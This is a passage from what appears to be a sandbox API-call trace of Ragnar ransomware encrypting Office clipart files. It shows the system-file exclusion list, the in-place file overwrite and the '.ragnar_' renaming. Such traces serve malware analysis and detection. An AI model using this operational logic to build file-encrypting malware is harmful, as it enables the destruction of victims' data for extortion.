lpString2="ntuser.dat.log") returned -1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="ntuser.ini") returned -1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="thumbs.db") returned -1 [0088.472] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.473] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf")) returned 0x20 [0088.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.474] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12088) returned 1 [0088.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2f2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.474] GetProcessHeap () returned 0x580000 [0088.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.474] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.475] VirtualAlloc (lpAddress=0x0, dwSize=0x2f38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.476] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2f38, lpOverlapped=0x0) returned 1 [0088.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.477] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f38, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.477] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2f38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2f38, lpOverlapped=0x0) returned 1 [0088.477] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2f38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.477] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.478] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.478] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.478] GetProcessHeap () returned 0x580000 [0088.478] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.478] CloseHandle (hObject=0xf4) returned 1 [0088.478] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" [0088.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ragnar_FD7BD9FC" [0088.478] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0088.479] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.479] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00452_.WMF" | out: lpString1="NA00452_.WMF") returned="NA00452_.WMF" [0088.479] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF") returned=".WMF" [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="autorun.inf") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="boot.ini") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="bootfont.bin") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="bootsect.bak") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="bootmgr") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="bootmgr.efi") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="desktop.ini") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="iconcache.db") returned 1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="ntldr") returned -1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="ntuser.dat") returned -1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="ntuser.ini") returned -1 [0088.479] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="thumbs.db") returned -1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.479] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf")) returned 0x20 [0088.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.480] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5308) returned 1 [0088.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.480] GetProcessHeap () returned 0x580000 [0088.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.480] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.481] VirtualAlloc (lpAddress=0x0, dwSize=0x14bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.482] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14bc, lpOverlapped=0x0) returned 1 [0088.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.482] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14bc, lpOverlapped=0x0) returned 1 [0088.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.483] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.483] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.483] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.483] GetProcessHeap () returned 0x580000 [0088.483] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.483] CloseHandle (hObject=0xf4) returned 1 [0088.483] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" [0088.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ragnar_FD7BD9FC" [0088.483] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0088.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.484] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00454_.WMF" | out: lpString1="NA00454_.WMF") returned="NA00454_.WMF" [0088.484] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF") returned=".WMF" [0088.484] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.484] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="autorun.inf") returned 1 [0088.484] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="boot.ini") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="bootfont.bin") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="bootsect.bak") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="bootmgr") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="bootmgr.efi") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="desktop.ini") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="iconcache.db") returned 1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="ntldr") returned -1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="ntuser.dat") returned -1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="ntuser.ini") returned -1 [0088.485] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="thumbs.db") returned -1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.485] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf")) returned 0x20 [0088.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.486] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5504) returned 1 [0088.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1577, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.486] GetProcessHeap () returned 0x580000 [0088.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.486] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.487] VirtualAlloc (lpAddress=0x0, dwSize=0x1580, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.487] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1580, lpOverlapped=0x0) returned 1 [0088.488] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.488] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1580, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.488] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1580, lpOverlapped=0x0) returned 1 [0088.488] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1580, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.488] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.489] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.489] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.489] GetProcessHeap () returned 0x580000 [0088.489] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.489] CloseHandle (hObject=0xf4) returned 1 [0088.489] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" [0088.489] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ragnar_FD7BD9FC" [0088.489] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.490] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0088.490] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.490] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00458_.WMF" | out: lpString1="NA00458_.WMF") returned="NA00458_.WMF" [0088.490] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF") returned=".WMF" [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="autorun.inf") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="boot.ini") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="bootfont.bin") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="bootsect.bak") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="bootmgr") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="bootmgr.efi") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="desktop.ini") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="iconcache.db") returned 1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="ntldr") returned -1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="ntuser.dat") returned -1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="ntuser.ini") returned -1 [0088.490] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="thumbs.db") returned -1 [0088.490] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.490] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.490] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.491] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.491] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.491] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.491] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft 